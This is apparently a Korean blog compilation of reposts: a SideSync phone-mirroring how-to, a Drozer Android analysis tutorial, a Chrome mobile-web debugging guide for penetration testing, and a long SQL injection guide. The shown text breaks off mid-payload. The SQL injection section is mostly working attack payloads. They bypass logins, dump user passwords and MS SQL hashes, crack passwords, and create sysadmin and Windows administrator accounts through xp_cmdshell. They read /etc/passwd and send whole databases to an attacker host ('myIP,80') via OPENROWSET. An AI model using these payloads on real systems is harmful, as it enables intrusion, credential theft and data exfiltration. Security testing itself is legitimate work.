반응형

출처: http://pastimelife.com/924


스마트폰 화면을 PC로 공유하기 - SideSync 3.0 이용.

PC로 작업을 하는동안 스마트폰 화면을 PC에서 보고 스마트폰에 설치된 어플을 실행, 관리하는 방법을 알려 드릴까 합니다.

 

이 글에서는 삼성 스마트폰, 테블릿 전용 프로그램인 'SideSync 3.0'를 이용해 PC에서 스마트폰을 사용하는 방법을 알려 드리겠습니다.

 

제가 'SideSync 3.0'을 사용하게된 이유는 게임에 빠져서 블로그 관리가 허술해져서 입니다. -.- 스마트폰 게임인 '레이븐'에 빠져 이것만 하고 있다보니 블로그에 글 작성도 못하고 관리도 허술하고...

 

그래서 'SideSync 3.0'를 이용해 PC화면에서 스마트폰을 컨트롤하고 글 작성도 할려고 하네요.

 

'SideSync 3.0'은 삼성기기 전용으로 안드로이드 KitKat(4.4) 이상에서 간단한 설치로 사용이 가능한 편리한 프로그램입니다.

 

PC에 'SideSync 3.0' 설치하기

 

사용하는 PC에 'SideSync 3.0'프로그램 설치를 해 보겠습니다.

 

 

위 링크를 눌러 이동하시면 'SideSync 3.0'설치 프로그램을 다운로드 할수 있는데 다운로드 링크가 본문 중간쯤 있으니 참고 하세요.

 

본문 중간쯤 이렇게 다운로드 가능한 링크가 있습니다.

 

사용하는 PC에 맞는 버전을 클릭하시면 됩니다.

 

 

PC에 'SideSync 3.0' 설치 보기

 

 

'SideSync 3.0' 이 PC에 실행된 화면이 입니다. 이 상태로 그냥 두고 사용하는 스마트폰, 테블릿에 'SideSync 3.0' 설치를 진행하시면 됩니다.

 

만약 사용하는 스마트 기기에 'SideSync 3.0'설치가 되어 있다면 그냥 연결해서 사용하시면 되겠네요.^^

 

스마트 기기에 'SideSync 3.0' 설치 & 실행하기

 

위에서 잠깐 언급했듯이 'SideSync 3.0'은 안드로이드 KitKat(4.4) 이상에서 구동됩니다. 이점 참고 하세요.

 

 

'SideSync 3.0'을 갤럭시 기기에 설치하는 방법은 두가지가 있는데 위 링크를 이용하셔서 구글 플레이스토어에서 설치하시거나 삼성에서 제공하는 'galaxyapps'를 이용하셔도 됩니다.

 

전 구글플레이스토어 에서 설치를 했네요.

 

'SideSync 3.0'을 검색해서 설치를 하신다음 실행 해 주세요.

 

'SideSync 3.0'을 실행하면 왼쪽 화면이 나오는데 전 Wi-Fi를 이용해 화면을 공유해 보겠습니다. 'WI-FI 실행'을 선택 하세요.

 

디바이스 찾는 중.... 이라는 메세지 화면이 보이면 PC로 이동하셔서 'SideSync 3.0'을 선택 하세요.

 

만약 와이파이가 안된다면 USB선을 이용해 PC와 스마트 기기를 연결하시면 됩니다.

 

PC화면에 실행된 'SideSync 3.0'에서 '연결 모드를 'Wi-Fi/LAN'으로 변경하시면 기기를 찾아줍니다.

 

찾아진 기기를 선택 하시면  '기기 승인 대기 중...' 화면이 나오는데 이때 스마트기기 화면을 보시면 아래 화면이 나옵니다.

 

PC와 스마트 기기연결을 위한 권한을 요청하는데 여기서 허락을 해야 연결이 됩니다.

 

'확인'을 눌러 주시면 됩니다.

 

USB케이블을 이용한 연결을 안해봐서 정확하지는 않지만 케이블 연결시 사용 권한은 안물어볼듯 하네요.

 

빠른 속도, 배터리 절약을 위해서라면 USB연결을 추천드립니다.^^

 

 

 

SideSync 화면에 제 스마트폰 화면이 나오는군요.

 

이제 PC에서 스마트폰을 완벽하게 컨트롤 할수 있습니다. 어플 실행도 가능하고 음악, 동영상, 사진등 모든것을 관리, 실행이 가능하게 되었습니다.

 

문제 메세지, 카톡등도 PC화면에서 확인하고 보낼수 있습니다.

 

또한 PC의 마이크, 스피커를 이용해 통화도 가능하니 PC작업이 많은분이라면 필수 프로그램일듯 하네요.

 

PC에서 SideSync화면을 자유롭게 조절이 가능해 사용에 편리함이 있습니다.

 

SideSync를 이용하면 스마트폰 화면을 PC에서 녹화도 가능하니 강좌나 게임 플레이정보등 동영상이 필요하다면 이 부분도 도움이 되겠네요.

 

제가 PC에 SideSync를 설치하게된 목적인 게임 플레이도 가능한데 한번 확인해 보겠습니다.

 

위 화면은 이미지 리사이즈 없이 올린 화면입니다. SideSync을 최대한 적게 축소해서 플레이하는 화면입니다.

 

SideSync를 이용해 화면사이즈를 적게 해서 모니터 구석에 두고 블로그 글도 쓰고 모바일 게임도 진행하고 .....^^

 

반대로 SideSync화면을 최대 크기로 키우면 모니터 화면에 꽉찬 화면으로 게임을 진행 할 수 있답니다.

 

'SideSync'의 활용성은 사용자 환경에 따라 어마어마 하게 많은듯 합니다.

 

삼성 안드로이드 스마트폰을 사용하시면서 PC 작업이 많다면 'SideSync3.0'을 이용해 편리함을 느껴 보세요.^^


반응형
반응형

출처: http://blog.naver.com/taeyoun795/220658614529


1.4.3 Drozer를 이용한 안드로이드 앱 동적 분석

(1) Drozer란?

 

Drozer 는 안드로이드 앱을 위한 통합 자동 보안 진단 도구이다.

 

문서 및 다운로드 등은 drozer 메인 사이트를 참고한다. 현재 최신 버전은 2.3.4 이다.

 

Drozer 메인 사이트: https://labs.mwrinfosecurity.com/tools/drozer/

 

그림 287 drozer 메인 사이트

사전 준비 사항

 

-호스트 PC(Window/Linux/Mac OS X)

-안드로이드 디바이스 혹은 애뮬레이터(Android 2.1 이상)

 

시스템 필요 요건

 

-JDK 1.6 이상

-Python 2.7

-Android SDK

(Java와 adb는 시스템 환경 변수로 등록되어 있어야 함)

 

(2) drozer 실행 및 명령어

 

Step 1) 디바이스에 drozer 클라이언트 프로그램 설치

 

drozer 클라이언트 프로그램(agent.apk)은 drozer 메인 사이트에서 다운로드 받은 설치 프로그램을 압축해제 하면 볼 수 있다.

 

그림 288 agent.apk

adb 명령으로 디바이스 혹은 애뮬레이터에 설치한다.

 

그림 289 drozer 클라이언트 프로그램 설치

설치된 drozer Agent 프로그램을 실행 후 오른쪽 하단의 OFF를 클릭하여 ON한다.

 

그림 290 drozer agent 실행

 

Step 2) 포트 포워딩

 

다시 윈도우 커맨드로 돌아와서 drozer Agent에 의해 오픈된 TCP 소켓과 진단 PC를 연결하기 위해 포트 포워딩을 해 준다. 디폴트 포트는 31415이다.

 

 

그림 291 포트포워딩

Step 3) drozer 콘솔 접속

 

drozer 콘솔에 접속한다.

 

그림 292 drozer 콘솔 접속

 

정상적으로 실행되면 연결된 디바이스의 안드로이드 ID를 볼 수 있다.

 

Step 4) drozer 명령어 확인

 

drozer 콘솔은 CLI 기반이며 drozer 명령 프롬프트에서 help를 입력하면 drozer에서 사용되는 명령어를 보여준다.

 

그림 293 drozer 명령어

명령어

설명

run [모듈]

drozer 모듈을 실행한다.

list

현재 세션에서 실행할 수 있는 모든 drozer 모듈을 보여 준다. 적절한 실행 권한이 없으면 몇몇 모듈은 감춰진다

shell

Agent 프로세스가 설치되어 있는 디바이스의 Linux Shell을 실행한다.

cd

모듈의 full name을 반복적으로 입력하는 것을 피하기 위해 root 세션의 namespace를 마운트한다.

clean

drozer에 의해 안드로이드 디바이스에 생성된 임시 파일들을 삭제한다.

contributors

drozer 프레임워크와 모듈 제작자를 보여 준다.

echo

text를 console에 출력한다.

exit

drozer 세션 종료시킨다.

help

특정 모듈 혹은 명령에 대한 도움말 출력한다.

load

drozer 명령이 포함된 파일을 로딩한 후 실행한다.

module

인터넷으로부터 추가 drozer 모듈을 찾고 설치한다.

permission

drozer agent에 주어진 권한을 보여 준다.

set

환경 변수 등록

unset

환경 변수 해제

표 7 drozer 명령어

또한 help [명령어] 혹은 help [모듈이름] 을 입력하면 좀 더 자세한 설명을 보여 준다.

 

그림 294 drozer 명령어 확인

그림 295 drozer 모듈 확인

 

referer

drozer 메뉴얼 2015


반응형
반응형
출처: http://teamcrak.tistory.com/category/%EC%8A%A4%EB%A7%88%ED%8A%B8%ED%8F%B0

웹 모의해킹 시 개발자도구를 이용한 웹 애플리케이션 분석으로 로직에 허점을 발견하거나 DOM영역에 대한 변조를 통해 취약점을 찾는 등 분석을 하기 위해서는 다양한 방법이 존재합니다. 모바일 웹도 이처럼 브라우저를 이용하여 디버깅을 하거나 로직을 분석할 수 있는 방법이 있어 소개하고자 합니다.


주제: 크롬 브라우저를 이용한 모바일 웹 디버깅 및 분석 방법 소개

 1. 환경구성

 2. inspect를 이용한 mobile web remote debugging

 3. 크롬브라우저를 이용한 mobile web debugging


1. 환경구성

 - Chrome 버전 32 이상 설치 된 PC

 - 안드로이드 4.4 이상에서 크롬 설치

 - USB 디버깅 허용


2. Inspect를 이용한 Mobile web remote debugging

PC와 스마트폰을 연결 후 환경구성이 되면 크롬 브라우저 주소창에 chrome://inspect 를 입력합니다.

그 후 안드로이드 기기에서 크롬 브라우저를 실행 후 분석하고자 하는 대상 사이트로 접속합니다.

<그림1> 모바일에서 크롬브라우저 실행


inspect 버튼을 누르면 모바일에서 실행되는 사이트에 대한 remote debugging을 할 수 있게 됩니다.

<그림2> 크롬 브라우저 inspect 실행


다음과 같이 모바일 웹에 대한 디버깅 혹은 로직 분석이 가능하게 됩니다.

간단하게 breakpoint를 설정하고 모바일 웹에 대한 로직 분석을 하였습니다.

<그림3> 모바일 웹 디버깅 및 로직 분석


모바일 웹 사이트에 대한 함수 분석이나 스탭별 실행을 하여 로직 분석에 용이합니다.

<그림4> 모바일 웹 사이트 함수 및 실행 로직 분석


쿠키값 혹은 리소스 정보들을 확인할 수 있습니다.

<그림5> 모바일 사이트 내 리소스 정보 확인

 

Webview를 사용하는 앱에 대해서 분석할수 있습니다.

앱에 Webview debugging이 활성화 되어있어야 합니다. 코드패치나 소스수정을 통해 webview debugable을 true로 설정합니다.

<그림6> WebView를 사용한 앱에 대한 분석


inspect 버튼을 누르면 다음과 같이 디버깅 할 수 있는 화면에 접근하게 됩니다.

<그림7> Webview를 사용하는 모바일 앱에 대한 분석


3. 크롬브라우저를 이용한 mobile web debugging

모바일 웹에 대해서 스마트폰을 이용해서 분석을 할 수도 있지만 크롬 브라우저 내에 설정을 변경하여 모바일 웹에 대한 디버깅 및 분석을 할 수있는 방법도 존재합니다.


먼저 크롬 브라우저에서 F12 버튼을 누른 후 아래 그림과 같이 스마트폰 모양의 아이콘을 클릭합니다.

그 후에 Device 선택을 할 수 있는데, 환경에 맞는 Device를 설정하면 됩니다.

<그림8> 모바일 사이트 분석을 위한 크롬브라우저 설정 변경


breakpoint를 적용하여 로직 분석하거나 DOM영역에 대한 분석이 가능합니다.

<그림9> 모바일 사이트 로직 분석


콘솔로 정의된 함수를 확인하거나 파라미터 값들을 확인합니다.

<그림10> 모바일 웹 함수 분석



Async를 활성화해서 콜스택을 살펴봅니다.

<그림11> 호출 스택 확인 및 디버깅



이렇게 크롬 브라우저를 이용하여 모바일 웹에 대한 분석을 하고 다양한 방법으로 취약점에 대한 접근을 할 수 있게 됩니다.

모바일 웹에 대한 분석 환경은 크롬 브라우저를 통한 방법 이외에도 다양하게 있고, 저희 팀크랙에서는 상황에 맞춰 보다 효율적인 방법으로 취약점을 찾고 있습니다.

감사합니다.


참고자료

https://developer.chrome.com/devtools/docs/remote-debugging



반응형
반응형

출처: http://blog.pages.kr/1341

 

 

1 개요

1.1 SQL Query

1.2 DML & DLL

1.3  Metabata

1.4 웹 어플리케이션

1.5 일반적인 취약한 로그인 쿼리

2 SQL Injection 테스트 방법론

1) 입력 값 검증

2) 정보 수집

3) 1=1 Attacks

5) OS Interaction

6) OS 명령 프롬프트

7) 확장된 효과

3 회피 기술

3.1 개요

3.2 IDS “signature” 우회

3.3 입력 값 검증 우회 하기

3.4 회피와 우회

4 SQL Injection 대응 방안

4.1 개요

4.2 탐지 및 제한시키기

4.3 결론

 참조자료 및 문서

 

1 개요

SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.

 

1.1 SQL Query

SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.

) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.

userID

Name

LastName

Login

Password

1

John

Smith

jsmith

hello

2

Adam

Taylor

adamt

qwerty

3

Daniel

Thompson

dthompson

dthompson

 

▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.

 

a) SELECT LastName FROM users WHERE UserID = 1;

b) 결과 값(레코드 셋)

LastName

Smith

 

1.2 DML & DLL

▪ Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.

▪ Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.

) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문

 

1.3  Metabata

대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다

 

1.4 웹 어플리케이션

데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.

 

애플리케이션을 통한 데이터베이스 접근 방법

▪ Perl and CGI scripts

▪ ASP, JSP, PHP

▪ XML, XSL and XSQL

▪ no_javascript

▪ VB, MFC, and other ODBC-based tools and APIs

▪ DB specific Web-based applications and API’s

▪ Reports and DB Applications

▪ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

 

1.5 일반적인 취약한 로그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

 

1) ASP/MS SQL Server 로그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

 

a)문자를 통한 Injection

formusr ' or 1=1 – –

formpwd = anything

 

b) 최종 쿼리 결과

SELECT * FROM users WHERE username = ' or 1=1 – – AND password ='anything'

 

2) PHP/MySQL 로그인 문법

$sql = "SELECT * FROM clients WHERE account = $formacct  AND pin = $formpin";

 

a) 숫자 입력 필드에 삽입

$formacct 1 or 1=1 #

$formpin = 1111

 

b) 최종 쿼리 결과

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

 

SQL Injection 테스트 방법론 

 


1) 입력 값 검증

취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.

a) 웹 폼의 필드

b) URL 쿼리 스트링의 스크립트 파라미터 값

c) 쿠키 또는 히든 필드에 저장된 값

d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.

 

▪ 문자 : ' " ) # || + >

▪ SQL Query 명령을 공백(구분자)과 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with andor,updateinsertexec)

▪ 지연 쿼리:' waitfor delay '0:0:10'--

 

 

2) 정보 수집

아래의 항목들을 알아내려고 시도해야 한다.

 

a) 출력 메커니즘 연구하기

1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.

2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.

3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.

 

■ 에러 메시지를 통해서 정보 추출 하기

i. 그룹 핑 에러

' group by columnnames having 1=1 - -

 

ii. 타입의 불일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

 

iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.

' and 1 in (select 'text' ) - -

 

iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.

 

■ Blind Injection

i. 출력 시 나오는 다른 출력 값을 이용

and condition  and '1'='1

 

ii. IF문을 사용

'; if condition  waitfor delay '0:0:5' --

'; union select ifcondition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

 

iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.

 

b) 쿼리의 이해

i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.

SELECT  * FROM table WHERE x = 'normalinput' group by x having 1=1 --

GROUP BY x HAVING x = y ORDER BY x

 

ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.

UPDATE users    SET password = 'new password'  WHERE login = logged.user
AND password = 'old password'

 

c) 데이터베이스 타입의 결정

대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.

 

▪ DBMS별 차이점 (1)

 

▪ DBMS별 차이점 (2)

 

d) 사용자의 권한 레벨을 알아 낸다.

i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.

user  or current_user

session_user

system_user

and 1 in (select user --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

 

ii. 기본 관리자 계정

sa, system, sys, dba, admin, root 등

 

iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.

 

e) OS interaction 레벨을 결정

 

3) 1=1 Attacks

 데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.

 

a) 테이블에 정의된 사용자를 열거하는 Query

and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

 

b) DB에서 테이블 컬럼명을 열거하는 쿼리

▪ MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name ='tablename ')

sp_columns tablename (this stored procedure can be used instead)

▪ MySQL

show columns from tablename

 

▪ Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

▪ DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

▪ Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename 
AND pg_class.oid=attrelid AND attnum > 0

 

c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1  from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --

 

d) 서버에서 다른 데이터베이스 질의 하기

' and 1 in (select min(name ) from  master.dbo.sysdatabases where name >'.') --

 

e) 데이터 베이스의 파일 위치 질의 하기

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename>'.' ) --

 

d) 각 DBMS별 시스템 테이블

MySQL

MS SQL Server

Oracle

MS Access

mysql.user

mysql.host

mysql.db

 

sysobjects

syscolumns

systypes

sysdatabases

 

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

 

 

e) 사용자가 정의된 테이블에서 사용자이름과 패스워드 추출하기

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

 from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

' ; drop table temp --

 

f) 데이터베이스에 계정 생성하기

▪ MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

▪ MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))

▪ Access

CREATE USER victor IDENTIFIED BY ' Pass123'

▪ Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

▪ Oracle

CREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

 

g) MS SQL Server 해쉬값 추출하기

i. 간단한 방법

SELECT name, password FROM master..sysxlogins

 

ii. 패스워드 해쉬값 추출하기

SELECT password FROM master..sysxlogins


 

   ii. 해쉬값이 2진수(binary)이므로 16진수(hex)로 변환한다.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) 
select @firstint=FLOOR(@tempint/16)  
select @secondint=@tempint - (@firstint*16) 
select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

SUBSTRING (@hexstring, @secondint+1, 1) 

select @i=@i+1  END

 

   iii. 한번에 실행하는 명령어

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin  declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)  select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)  select @i=@i+1  end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

 

   vi. 에러 메시지를 통해서 해쉬 값 추출하기

▪ ' and 1 in (select x from temp) --

▪ ' and 1 in (select substring (x, 256, 256) from temp) --

▪ ' and 1 in (select substring (x, 512, 256) from temp) --

▪ ' drop table temp --

 

 

 

 

 

 


   v. 패스워드 무작위 대입

▪ SQL 패스워드 크랙 스크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0

drop table tempdb..passwords

 

   vi. DB구조와 데이터 전송하기

만약에 네트워크 연결이 되어 있으면 80번 포트를 통해서 리버스 연결이 성립 할 수 있고, 모든 DB가 우리의 로컬 SQL 서버에 전송 할 수 있다. 데이터 베이스의 메타데이터 전송으로 로컬 SQL 서버에 동일한 DB구조를 생성 할 수 있다.

Step 1. 로컬 SQL서버에 Victim과 동일한 DB구조 생성

 

'; insert into 
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')
select * from master.dbo.sysdatabases --

'; insert into                                                   
OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;', 'select * from mydatabase..hacked_sysdatabases')                  
select * from user_database.dbo.sysobjects --

'; insert into
OPENROWSET('SQLoledb',
'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',
'select * from mydatabase..hacked_syscolumns')
select * from user_database.dbo.syscolumns --

 

step 2. 데이터를 DB 테이블을 아래의 방법을 통하여 쉽게 전송 할 수 있다.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

 


5) OS Interaction

OS Interaction에는 두 가지 방법이 있는데, 명령어를 읽기/실행 가능성은 DB엔진과 DB 설정에 달려있다. 두 가지 경우모두 권한이 DB 엔진 관리자에게 제한 되어있다. 만약 우리가 파일을 읽기/쓰기 가능하면, 우리는 패스워드와 설정 정보가 들어 있는 DB파일을 변경 할 수 있다. 또한 우리가 OS 명령어를 실행 할 수 있으면, 무엇이든지 할 수 있다.

 

a) MySQL OS Interaction

 

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

 

 


ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

 

 

 

 


 

iii. SELECT INTO OUTFILE

 

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 

 

▪ 웹 서버에서 DB에 접근 하는 구조

대부분의 경우 웹 서버와 DB서버는 같지 않고, DB서버는 Internet에 연결 되어 있지 않아도 애플리케이션 서버를 통해서 명령을 실행 할 수 있다.



 

 


▪ 네트워크 연결에 접근

i. 서버 이름을 에러 메시지로 출력하기

and 1 in (select @@servername ) --

and 1 in (select srvname from master..sysservers ) --

 

 

 


ii. Reverse lookups를 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

 

 


iii. Revers ping을 통해서 IP 정보 수집하기

'; exec master..xp_cmdshell 'ping MyIP' --

 

 

 

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;', 
'select * from table')

 

 

 

 

▪ 네트워크 예비 점검

i. 확장 프로시저 xp_cmdshell를 이용하여 아래의 명령을 실행

▪ Ipconfig /all

▪ Tracert  myIP

▪ arp -a

▪ nbtstat -c

▪ netstat -ano

▪ route print

 

 

 

 

 

 

 

ii. 네트워크 예비 점검 전체 Query

▪ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

▪ '; CREATE TABLE tmp (txt varchar(8000));  BULK INSERT tmp FROM 'test.txt' --

▪ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp where txt<@data ; select @data as x into temp end --

▪ ' and 1 in (select substring(x,1,255) from temp) --

▪ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp --

 


6) OS 명령 프롬프트

i. OS로 점프하기

▪ Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

▪ MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

▪ Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

 

 

 

 

 

 

 

 

 


 

ii. ActiveX 자동 스크립트 이용

▪ Speech example

'; declare @o int, @var int                                     
exec sp_oacreate 'speech.voicetext', @o out 
exec sp_oamethod @o, 'register', NULL, 'x', 'x' 
exec sp_oasetproperty @o, 'speed', 150             
exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1 
waitfor delay '
00:00:03' --

 

iii. 레지스트리로부터 VNC 패스워드 찾기

'; declare @out binary(8) 
